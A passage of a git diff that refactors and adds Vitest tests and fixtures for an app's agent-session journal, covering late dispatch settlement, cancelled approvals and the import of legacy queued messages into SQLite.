}) -}) +import { + fixture, + CALLER, + handedOver, + journal, + sendParams, + submissions +} from './structured-agent-session-late-settlement-contract-test-fixture' describe('settling a send the provider proves it received after the ack window', () => { it('publishes acceptance during a pending send and never reopens it for retry', async () => { let finishDispatch!: (outcome: AgentSessionDispatchOutcome) => void - dispatch.mockImplementationOnce( + fixture.dispatch.mockImplementationOnce( () => new Promise((resolve) => { finishDispatch = resolve }) ) const events: AgentSessionSubscribeEvent[] = [] - const unsubscribe = await host.subscribe({ + const unsubscribe = await fixture.host.subscribe({ id: 'late-receipt', sessionId: SESSION, emit: (event) => events.push(event) }) const params = sendParams('echo before send completes') - const pending = host.send(CALLER, params) - await vi.waitFor(async () => expect(dispatch).toHaveBeenCalledTimes(1)) + const pending = fixture.host.send(CALLER, params) + await vi.waitFor(async () => expect(fixture.dispatch).toHaveBeenCalledTimes(1)) try { - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'early-echo' } @@ -205,11 +73,13 @@ describe('settling a send the provider proves it received after the ack window', { clientMessageId: params.envelope.clientOperationId, dispatchState: 'accepted' } ]) ) - await expect(host.send(CALLER, { ...params, retryUnknown: true })).resolves.toMatchObject({ + await expect( + fixture.host.send(CALLER, { ...params, retryUnknown: true }) + ).resolves.toMatchObject({ ok: true, value: { submission: { dispatchState: 'accepted' } } }) - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) }) it.each(['N-first', 'O-first'] as const)( @@ -218,7 +88,7 @@ describe('settling a send the provider proves it received after the ack window', const original = Promise.withResolvers() const nested = Promise.withResolvers() const entered = Promise.withResolvers() - dispatch.mockImplementationOnce(() => original.promise) + fixture.dispatch.mockImplementationOnce(() => original.promise) const held = journal() const acceptLate = held.acceptLate.bind(held) const acceptance = vi.spyOn(held, 'acceptLate').mockImplementation(async (input) => { @@ -228,13 +98,13 @@ describe('settling a send the provider proves it received after the ack window', }) const params = sendParams('overlapping result and receipt') const id = params.envelope.clientOperationId - const sending = host.send(CALLER, params) + const sending = fixture.host.send(CALLER, params) let settlement: Promise | undefined let observed: Promise | undefined let completed = 0 try { await handedOver(id) - settlement = host.settleLateDispatch({ + settlement = fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: id, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'overlap-echo' } @@ -279,7 +149,7 @@ describe('settling a send the provider proves it received after the ack window', dispatchState: 'accepted', providerItemId: `claude:${THREAD}:overlap-echo` }) - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) expect(acceptance).toHaveBeenCalledTimes(1) } finally { original.resolve({ state: 'unknown', reason: 'cleanup' }) @@ -291,16 +161,16 @@ describe('settling a send the provider proves it received after the ack window', ) it('persists an echo received while the provider is closing', async () => { - dispatch.mockResolvedValueOnce({ state: 'unknown', reason: 'ack timeout' }) + fixture.dispatch.mockResolvedValueOnce({ state: 'unknown', reason: 'ack timeout' }) const params = sendParams('received just before shutdown') - await host.send(CALLER, params) + await fixture.host.send(CALLER, params) await handedOver(params.envelope.clientOperationId) await vi.waitFor(async () => expect(await submissions()).toMatchObject([{ dispatchState: 'unknown' }]) ) let settlement: Promise | undefined - closeSession.mockImplementationOnce(async () => { - settlement = host.settleLateDispatch({ + fixture.closeSession.mockImplementationOnce(async () => { + settlement = fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'closing-echo' } @@ -309,23 +179,23 @@ describe('settling a send the provider proves it received after the ack window', return true }) - await host.close(SESSION, 'evict') + await fixture.host.close(SESSION, 'evict') await expect(settlement).resolves.toBeUndefined() - await host.revealSession(SESSION) + await fixture.host.revealSession(SESSION) expect(await submissions()).toMatchObject([{ dispatchState: 'accepted' }]) - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) }) it('moves a durable unknown to accepted so nothing offers to send it again', async () => { - dispatch.mockRejectedValueOnce(new Error('socket closed')) + fixture.dispatch.mockRejectedValueOnce(new Error('socket closed')) const params = sendParams('sent while a turn was running') - await host.send(CALLER, params) + await fixture.host.send(CALLER, params) await handedOver(params.envelope.clientOperationId) await vi.waitFor(async () => expect(await submissions()).toMatchObject([{ dispatchState: 'unknown' }]) ) - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'late-uuid' } @@ -335,22 +205,22 @@ describe('settling a send the provider proves it received after the ack window', { clientMessageId: params.envelope.clientOperationId, dispatchState: 'accepted' } ]) // Retry previously redelivered; the settled send must remain single-dispatch. - expect(dispatch).toHaveBeenCalledTimes(1) + expect(fixture.dispatch).toHaveBeenCalledTimes(1) }) it('settles a provider-cancelled queued send as rejected', async () => { - dispatch.mockResolvedValueOnce({ state: 'admitted' }) + fixture.dispatch.mockResolvedValueOnce({ state: 'admitted' }) const params = sendParams('queued behind the active turn') - await host.send(CALLER, params) + await fixture.host.send(CALLER, params) await handedOver(params.envelope.clientOperationId) - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, state: 'rejected', ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' }) }) - await host.settleLateDispatch({ + await fixture.host.settleLateDispatch({ sessionId: SESSION, clientMessageId: params.envelope.clientOperationId, providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'late-echo' } @@ -365,119 +235,4 @@ describe('settling a send the provider proves it received after the ack window', } ]) }) - - it('a receipt after Stop withdrew an unwritten send keeps it cancelled', async () => { - dispatch.mockImplementationOnce( - (input) => - new Promise((_resolve, reject) => { - input.signal?.addEventListener('abort', () => reject(input.signal?.reason), { - once: true - }) - }) - ) - const params = sendParams('stopped before its write') - await host.send(CALLER, params) - await handedOver(params.envelope.clientOperationId) - expect(dispatch.mock.calls[0]?.[0].signal).toBeDefined() - - const stopped = await host.cancel(CALLER, { - envelope: { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.cancel', - sessionId: SESSION, - fields: {} - }) - } - }) - expect(stopped).toMatchObject({ ok: true }) - await vi.waitFor(async () => - expect(await submissions()).toMatchObject([{ dispatchState: 'rejected' }]) - ) - const before = journal().cursor() - await host.settleLateDispatch({ - sessionId: SESSION, - clientMessageId: params.envelope.clientOperationId, - providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 1 } - }) - - const after = journal().readSince(before) - expect(after.ok && after.rows.filter((row) => row.kind === 'dispatch')).toEqual([]) - - expect(await submissions()).toMatchObject([ - { - clientMessageId: params.envelope.clientOperationId, - dispatchState: 'rejected', - rejection: { kind: 'cancelled' } - } - ]) - }) - - it('accepts from the durable echo row when the direct settlement write fails', async () => { - dispatch.mockResolvedValueOnce({ state: 'admitted' }) - const params = sendParams('settle from provider echo') - await host.send(CALLER, params) - await handedOver(params.envelope.clientOperationId) - vi.spyOn(journal(), 'acceptLate').mockRejectedValueOnce( - new Error('direct settlement write failed') - ) - - await expect( - host.settleLateDispatch({ - sessionId: SESSION, - clientMessageId: params.envelope.clientOperationId, - providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' } - }) - ).rejects.toThrow('direct settlement write failed') - await journal().appendItem( - { provider: 'claude', sessionId: THREAD, uuid: 'echo-row' }, - params.body, - { - fence: store.getRecord(SESSION)?.lease.runtimeFence ?? 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - - expect(await submissions()).toMatchObject([ - { - clientMessageId: params.envelope.clientOperationId, - dispatchState: 'accepted', - providerItemId: `claude:${THREAD}:echo-row` - } - ]) - }) - - it('leaves an already accepted send alone, adding no row', async () => { - dispatch.mockResolvedValueOnce({ state: 'admitted' }) - const params = sendParams('ordinary send') - await host.send(CALLER, params) - await handedOver(params.envelope.clientOperationId) - const before = journal().cursor() - const receipt = (uuid: string) => - host.settleLateDispatch({ - sessionId: SESSION, - clientMessageId: params.envelope.clientOperationId, - providerIdentity: { provider: 'claude', sessionId: THREAD, uuid } - }) - - await Promise.all([receipt('echo-row'), receipt('echo-row')]) - await receipt('a-different-uuid') - - const after = journal().readSince(before) - expect(after.ok && after.rows.filter((row) => row.kind === 'dispatch')).toMatchObject([ - { state: 'accepted', providerItemId: `claude:${THREAD}:echo-row` } - ]) - }) - - it('ignores a session this host is not holding', async () => { - await expect( - host.settleLateDispatch({ - sessionId: 'session-that-is-not-attached', - clientMessageId: 'whatever', - providerIdentity: { provider: 'claude', sessionId: THREAD, uuid: 'x' } - }) - ).resolves.toBeUndefined() - }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts index 4a88e0b1973..0c4efcd8055 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-leftover-settlement.test-fixture.ts @@ -6,7 +6,7 @@ import { import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' import { - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' import type { StructuredAgentSessionCurrentWork } from './structured-agent-session-current-work' @@ -31,10 +31,11 @@ export const TURN: AgentJournalItemIdentity = { export const TURN_KEY = agentJournalItemKey(TURN) const IN_TURN = { kind: 'turn' as const, turnItemId: TURN_KEY } export const APPROVAL: AgentJournalItemIdentity = { ...TURN, ordinal: 2 } -/** All settlement rows carry recovered=true. */ +/** Recovered outcome values carry recovered=true. */ export const REJECT_RECOVERED_ROWS = ` - CREATE TEMP TRIGGER reject_recovered BEFORE INSERT ON journal_rows - WHEN json_extract(NEW.row_json, '$.recovered') = 1 + CREATE TEMP TRIGGER reject_recovered BEFORE INSERT ON journal_outcomes + WHEN (NEW.field = 'items' AND json_extract(NEW.value_json, '$.recovered') = 1) + OR (NEW.field = 'submissions' AND json_extract(NEW.value_json, '$[1].recovered') = 1) BEGIN SELECT RAISE(ABORT, 'temporary storage failure'); END; ` @@ -73,7 +74,7 @@ export async function exitWhileSettlementFails(current: QueuedMessageTestRig) { throw new Error('expected the original child') } const database = openTestJournalHostDatabase(current.root) - const before = liveTestJournalRows(database.db, SESSION) + const before = readTestJournalOutcomes(database.db, SESSION) vi.spyOn(console, 'warn').mockImplementation(() => undefined) database.db.exec(REJECT_RECOVERED_ROWS) await current.host.handleAdapterEvent({ @@ -91,7 +92,7 @@ export async function exitWhileSettlementFails(current: QueuedMessageTestRig) { runtimeFence: child.fence + 1, deathEvidence: { kind: 'exit-observed', ownerFence: child.fence } }) - expect(liveTestJournalRows(database.db, SESSION)).toEqual(before) + expect(readTestJournalOutcomes(database.db, SESSION)).toEqual(before) return { session, database, deadFence: child.fence } } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts index ff51888df85..7feeff48e19 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-mutation-context.test.ts @@ -1,6 +1,5 @@ import { afterEach, beforeEach, expect, it, vi } from 'vitest' import * as reducer from '../agent-session-journal/journal-reducer' -import { DISPATCH_DOUBT_SUBMISSION_MISSING } from '../agent-session-journal/journal-dispatch-doubt-reasons' import { sendStructuredAgentSessionTurn } from './structured-agent-session-host-mutations' import { mutateStructuredAgentSession } from './structured-agent-session-mutation-context' import { sendPlan } from './structured-agent-session-mutation-plans' @@ -121,7 +120,8 @@ it('replays a queued draft after publication fails without waking delivery', asy expect(ctx.wakeDelivery).not.toHaveBeenCalled() }) -it('answers the same doubt on the first reply and resend when the committed row cannot fold', async () => { +// The row commits with its fold or not at all; nothing is recorded, so a resend runs again. +it('refuses the first reply and resend when the submission cannot fold', async () => { const ctx = context() const request = params() const fold = reducer.applyJournalRow @@ -133,26 +133,12 @@ it('answers the same doubt on the first reply and resend when the committed row }) const journal = rig.host['sessions'].get(SESSION)!.journal const append = vi.spyOn(journal, 'appendSubmission') - const accepted = await sendStructuredAgentSessionTurn(ctx, CALLER, request) + const refused = await sendStructuredAgentSessionTurn(ctx, CALLER, request) const replay = await sendStructuredAgentSessionTurn(ctx, CALLER, request) - expect(accepted).toMatchObject({ - ok: true, - replayed: true, - value: { - submission: { - dispatchState: 'unknown', - reason: DISPATCH_DOUBT_SUBMISSION_MISSING, - recovered: true - } - } - }) - expect(replay).toEqual(accepted) + expect(refused).toMatchObject({ ok: false }) + expect(replay).toMatchObject({ ok: false }) expect(journal.submissions()).toHaveLength(0) - expect( - rig.store.readCommandReceipt({ kind: 'global' }, request.envelope.clientOperationId) - ).toMatchObject({ verdict: 'readable', receipt: { status: 'accepted' } }) - expect(append).toHaveBeenCalledOnce() - expect(ctx.wakeDelivery).toHaveBeenCalledOnce() + expect(append).toHaveBeenCalledTimes(2) }) it('logs a throw after commit and wakes once before answering from receipt replay', async () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts index 5642a0fc26e..d6b260f364b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts @@ -95,85 +95,6 @@ async function relaunch(): Promise { return host } -const NEWER_APPROVAL: AgentJournalItemBody = JSON.parse( - JSON.stringify({ - kind: 'approval', - title: 'Review proposed change', - detail: null, - subject: { kind: 'diff', path: 'a.ts', text: 'not a plan' }, - options: [{ id: 'allow', label: 'Approve' }], - resolution: { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } - }) -) - -it("settles a newer Orca's pending approval as it was, and the chat takes its next message", async () => { - await attach() - emit(7, NEWER_APPROVAL) - const host = await relaunch() - - expect(await send(host, 'after the newer approval')).toMatchObject({ ok: true }) - await vi.waitFor(() => expect(hostTestState().dispatch).toHaveBeenCalled()) - - const approval = (await historyBodies(host)).find((body) => body.kind === 'approval') - expect(approval).toMatchObject({ - subject: { kind: 'diff', path: 'a.ts', text: 'not a plan' }, - resolution: { state: 'cancelled' } - }) - await host.flushAllStreamedEvents() -}) - -// A newer background approval can block queues forever; a direct send starts the turn that cancels it. -it("takes a send past a newer Orca's live approval, and the next turn's card cancel settles it", async () => { - // Model providers whose card Cancel requires the live turn’s Stop path. - const dismissPrompt = vi.fn(async ({ commit }: { commit: () => Promise }) => commit()) - Object.assign(hostTestState().host.deps.adapter, { - routePromptCancel: () => ({ kind: 'stop' }), - dismissPrompt - }) - await attach() - emit(7, NEWER_APPROVAL) - const { host } = hostTestState() - await host.flushStreamedEvents(SESSION) - - const body = hostTestMessage('queued behind it') - const queuedFields = { body, delivery: 'queue-if-active' as const } - expect( - await host.send(CALLER, { - envelope: envelope('agentSession.send', queuedFields), - ...queuedFields - }) - ).toMatchObject({ ok: true, value: { queued: { state: 'waiting' } } }) - expect(hostTestState().dispatch).not.toHaveBeenCalled() - - const sent = await send(host, 'carry on') - expect(sent).toMatchObject({ ok: true, value: { submission: expect.any(Object) } }) - await vi.waitFor(() => expect(hostTestState().dispatch).toHaveBeenCalledOnce()) - providerEvents().appendItem( - { provider: 'codex', threadId: THREAD, turnId: 'turn-2', ordinal: 8 }, - { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: NOW }, - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await host.flushStreamedEvents(SESSION) - - const card = (await host.journalSnapshot(SESSION)).items.find( - (item) => item.body.kind === 'approval' - )! - const fields = { - turnId: 'turn-2', - prompt: { itemId: card.itemId, expectedRevision: card.revision } - } - expect( - await host.cancel(CALLER, { envelope: envelope('agentSession.cancel', fields), ...fields }) - ).toMatchObject({ ok: true }) - expect(dismissPrompt).toHaveBeenCalledWith(expect.objectContaining({ answer: true })) - expect(hostTestState().cancelTurn).not.toHaveBeenCalled() - expect((await historyBodies(host)).find((entry) => entry.kind === 'approval')).toMatchObject({ - subject: { kind: 'diff' }, - resolution: { state: 'cancelled' } - }) - await host.flushAllStreamedEvents() -}) - it('ends a turn whose provider output would not read back as failed, and the next send works', async () => { const closeSession = vi.fn(async () => true) Object.assign(hostTestState().host.deps.adapter, { closeSession }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts index 4e4587b2c18..aaa088eb352 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts @@ -328,35 +328,6 @@ describe("a card's own Cancel, as its provider answers it", () => { return { result, routes, answerPrompt, dismissPrompt, card } } - describe('on an approval whose subject a newer Orca wrote, which only its Cancel answers', () => { - const NEWER_SUBJECT: AgentJournalApprovalSubject = JSON.parse('{"kind":"diff","path":"a.ts"}') - - it('has Claude decline the request, the turn going on, and keeps the subject as it was', async () => { - const { routes, dismissPrompt, card } = await cancelCard( - { kind: 'dismiss' }, - 1, - true, - true, - NEWER_SUBJECT - ) - - expect(dismissPrompt).toHaveBeenCalledWith(expect.objectContaining({ answer: true })) - expect(routes.interrupt).not.toHaveBeenCalled() - expect(routes.stop).not.toHaveBeenCalled() - expect(card).toMatchObject({ - subject: { kind: 'diff', path: 'a.ts' }, - resolution: { state: 'cancelled' } - }) - }) - - it('has Codex end the turn holding it', async () => { - const { routes, dismissPrompt } = await cancelCard(undefined, 1, true, true, NEWER_SUBJECT) - - expect(routes.interrupt).toHaveBeenCalledOnce() - expect(dismissPrompt).not.toHaveBeenCalled() - }) - }) - it('interrupts the turn holding the card for a provider that gives no answer', async () => { const { routes, answerPrompt } = await cancelCard(undefined) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts new file mode 100644 index 00000000000..f80288b9d12 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts @@ -0,0 +1,161 @@ +import { afterEach, beforeEach, expect } from 'vitest' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalAnsweredTurnIdentity, + type AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import { activeProviderContext } from '../../../shared/agent-session-provider-context' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { + openTestJournalHostDatabase, + readTestQueueChanges +} from '../agent-session-journal/journal-host-database-test-support' +import { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' +import { + createQueuedMessageTestRig, + type QueuedMessageTestRig +} from './structured-agent-session-queued-message-rig.test-fixture' + +let rig: QueuedMessageTestRig + +beforeEach(async () => { + rig = await createQueuedMessageTestRig({ restartable: true, rewind: async () => ({ ok: true }) }) +}) + +afterEach(() => rig.dispose()) + +export const db = () => openTestJournalHostDatabase(rig.root).db + +export const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }], + ...(text === '/compact' ? { command: { name: 'compact' } } : {}) +}) + +export const threadWrite = { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + +export const words = (fact: 'providerRejected' | 'cancelled') => + agentSessionFailureWords( + fact === 'providerRejected' + ? agentSessionFailureFact(fact, { detail: { text: 'refused', audience: 'person' } }) + : agentSessionFailureFact(fact), + { surface: 'rejection' } + ) + +export function journalFor(sessionId: string): AgentSessionJournal { + return new AgentSessionJournal({ + database: openTestJournalHostDatabase(rig.root), + identity: { + sessionId, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: activeProviderContext(rig.store.getRecord(SESSION)!).head!.handle + } + }) +} + +export async function handOff( + journal: AgentSessionJournal, + attempt: string, + card: string, + text: string, + as: 'providerRejected' | 'cancelled' | 'accepted', + fence = 0, + beforeAnswer?: () => Promise, + answeredInTurn?: AgentJournalAnsweredTurnIdentity +): Promise { + const body = message(text) + const payloadFingerprint = agentSessionSendBodyFingerprint(journal.queuedMessages.sessionId, body) + await journal.appendSubmission({ + clientMessageId: attempt, + payloadFingerprint, + body, + fence, + handoverRecorded: true, + queuedMessageId: card + }) + await journal.resolveDispatch({ + clientMessageId: attempt, + state: 'pending', + fence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await beforeAnswer?.() + await journal.resolveDispatch( + as === 'accepted' + ? { clientMessageId: attempt, state: 'accepted', providerIdentity: null, fence } + : { clientMessageId: attempt, state: 'rejected', ...words(as), fence, answeredInTurn } + ) +} + +export type Legacy = [ + id: string, + state: string, + text: string | null, + consumedAs?: string, + hold?: string +] + +export function seedLegacy(sessionId: string, rows: readonly Legacy[]): void { + const insert = db().prepare( + `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, + created_at, host_instance, state, hold_reason, returned_reason, consumed_as) + VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)` + ) + rows.forEach(([id, state, text, consumedAs, hold], index) => { + const body = text === null ? '{' : JSON.stringify(message(text)) + const print = text === null ? '' : agentSessionSendBodyFingerprint(sessionId, message(text)) + const reason = state === 'returned' ? 'refused before' : null + insert.run( + sessionId, + id, + index + 1, + body, + print, + state, + hold ?? null, + reason, + consumedAs ?? null + ) + }) +} + +export const legacyIds = (sessionId = SESSION) => + db() + .prepare('SELECT message_id AS id FROM queued_messages WHERE session_id = ? ORDER BY position') + .all(sessionId) + .map((row) => (typeof row === 'object' && row !== null && 'id' in row ? row.id : null)) + +export function queueRows(sessionId = SESSION): string[] { + return readTestQueueChanges(db(), sessionId).map( + ({ messageId, op, returned }) => `${messageId}:${op}${returned ? '+refusal' : ''}` + ) +} + +export async function nothingSentTo(...cards: string[]): Promise { + await new Promise((resolve) => setTimeout(resolve, 100)) + for (const card of cards) { + expect(await rig.handoff(card)).toBeUndefined() + } +} + +export const retainedHistoryCases = [ + { adopt: false, proof: 'none' }, + { adopt: true, proof: 'none' }, + { adopt: false, proof: 'dispatch' }, + { adopt: true, proof: 'item' } +] + +export const fixture = { + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts new file mode 100644 index 00000000000..e7205de6c27 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts @@ -0,0 +1,206 @@ +import { expect, it } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { + EMPTY_STRUCTURED_AGENT_SESSION, + reduceStructuredAgentSession +} from '../../../shared/structured-agent-session-reducer' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { readAgentSessionHistory } from './agent-session-history-page' +import { subscriberHistoryReader } from './agent-session-bounded-frames' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + +import { + db, + handOff, + journalFor, + message, + retainedHistoryCases, + seedLegacy, + threadWrite +} from './structured-agent-session-queue-import-contract-test-fixture' + +it.each(retainedHistoryCases)('retained history: $adopt / $proof', async ({ adopt, proof }) => { + const earlier = journalFor(SESSION) + await earlier.open() + const append = async (journal: AgentSessionJournal, ordinal: number) => { + await journal.appendItem( + { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, + { ...message('x'.repeat(4_000)), role: 'assistant' }, + { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } + await append(earlier, 0) + await handOff( + earlier, + 'u', + 'q', + 'stopped words', + 'cancelled', + 0, + async () => { + for (let index = 1; index <= 205; index++) { + await append(earlier, index) + } + }, + proof === 'none' + ? undefined + : { + turn: { provider: 'codex', threadId: 'history', turnId: 't', ordinal: -1 }, + via: 'steer' + } + ) + const stale = readAgentSessionHistory(earlier, { sessionId: SESSION, direction: 'tail' }) + expect(stale.ok).toBe(true) + await earlier.close() + seedLegacy(SESSION, [['q', 'waiting', 'stopped words']]) + if (!adopt) { + db().exec(`CREATE TEMP TRIGGER b2_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + } + const journal = journalFor(SESSION) + await journal.open() + if (!adopt) { + db().exec('DROP TRIGGER b2_fail_import') + } + const queue = { queuedMessages: [], queuePause: null, nextQueuedMessageId: null } + const feed = new AgentSessionSubscribers({ readQueuePublication: () => queue }) + const base = { sessionId: SESSION, journal, fence: 0 } + const oldEvents: AgentSessionSubscribeEvent[] = [] + feed.open({ + ...base, + id: 'old', + cursor: journal.cursor(), + snapshotCatchUp: false, + readsCurrentRequests: false, + emit: (event) => oldEvents.push(event) + }) + expect(oldEvents).toEqual([ + { + type: 'batch', + sessionId: SESSION, + fence: 0, + hostNow: expect.any(Number), + activity: null, + ...queue, + batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } + } + ]) + const corrected: AgentSessionSubscribeEvent[][] = [] + const clients: (() => ReturnType)[] = [] + for (const boundedFrames of [false, true]) { + let state = reduceStructuredAgentSession(EMPTY_STRUCTURED_AGENT_SESSION, { + type: 'history-page', + page: structuredClone(stale.page) + }) + const events: AgentSessionSubscribeEvent[] = [] + corrected.push(events) + clients.push(() => state) + const reader = subscriberHistoryReader({ boundedFrames }) + feed.open({ + ...base, + id: `new-${boundedFrames}`, + cursor: journal.cursor(), + boundedFrames, + snapshotCatchUp: true, + readsCurrentRequests: true, + emit: (event) => { + events.push(event) + state = reduceStructuredAgentSession(state, { + type: 'event', + event: structuredClone(event) + }) + } + }) + expect(events[0]?.type).toBe('snapshot') + while (state.hasOlder) { + const requestedCursor = { epoch: journal.epoch, sequence: state.items[0]!.sequence } + const older = readAgentSessionHistory( + journal, + { sessionId: SESSION, direction: 'before', cursor: requestedCursor }, + { reader } + ) + expect(older.ok).toBe(true) + state = reduceStructuredAgentSession(state, { + type: 'older-page', + requestedCursor, + page: structuredClone(older.page) + }) + } + const canonical = journal.snapshot() + expect([state.items, state.submissions]).toEqual([canonical.items, canonical.submissions]) + feed.publish(SESSION, journal) + await append(journal, 205) + feed.publish(SESSION, journal) + } + const cursor = journal.cursor() + const after = readAgentSessionHistory(journal, { + sessionId: SESSION, + direction: 'after', + cursor + }) + expect(after).toMatchObject({ ok: false, reset: 'cursor_compacted' }) + if (!adopt) { + await journal.queuedMessages.importAtOpen() + feed.publish(SESSION, journal) + } + if (proof !== 'none') { + const placed = journal + .snapshot() + .items.find((item) => item.itemId === agentJournalSubmissionKey('u')) + const loaded = clients.map((client) => client().items.length) + const normalizationKey = journal.publicRead().normalizationKey + const identity = { + provider: 'codex' as const, + threadId: 'history', + turnId: 't', + ordinal: 206 + } + if (proof === 'dispatch') { + await journal.acceptLate({ + clientMessageId: 'u', + state: 'accepted', + fence: 0, + providerIdentity: identity + }) + } + await journal.appendItem(identity, message('stopped words'), threadWrite) + feed.publish(SESSION, journal) + expect(journal.submission('u')?.dispatchState).toBe('accepted') + expect(journal.receiptFor('u')).not.toBeNull() + expect(journal.publicRead().normalizationKey).toBe(normalizationKey) + expect(clients.map((client) => client().items.length)).toEqual(loaded) + for (const client of clients) { + expect(client().items.find((item) => item.itemId === placed?.itemId)).toMatchObject({ + sequence: placed?.sequence, + observedAt: placed?.observedAt, + turnScope: placed?.turnScope, + revision: 1 + }) + expect( + client().submissions.find((submission) => submission.clientMessageId === 'u')?.dispatchState + ).toBe('accepted') + } + } + expect( + corrected.map((events) => events.filter((event) => event.type === 'snapshot').length) + ).toEqual([1, 1]) + expect(oldEvents.every((event) => event.type === 'batch')).toBe(true) + await journal.close() + const reopened = journalFor(SESSION) + await reopened.open() + const resumed: AgentSessionSubscribeEvent[] = [] + new AgentSessionSubscribers().open({ + ...base, + journal: reopened, + id: 'reopen', + cursor: reopened.cursor(), + snapshotCatchUp: true, + readsCurrentRequests: true, + emit: (event) => resumed.push(event) + }) + expect(resumed[0]?.type).toBe('snapshot') + await reopened.close() +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts new file mode 100644 index 00000000000..62463e7ce2b --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts @@ -0,0 +1,207 @@ +import { expect, it, vi } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { createAgentSessionCatchUpReader } from './agent-session-history-page' +import { + 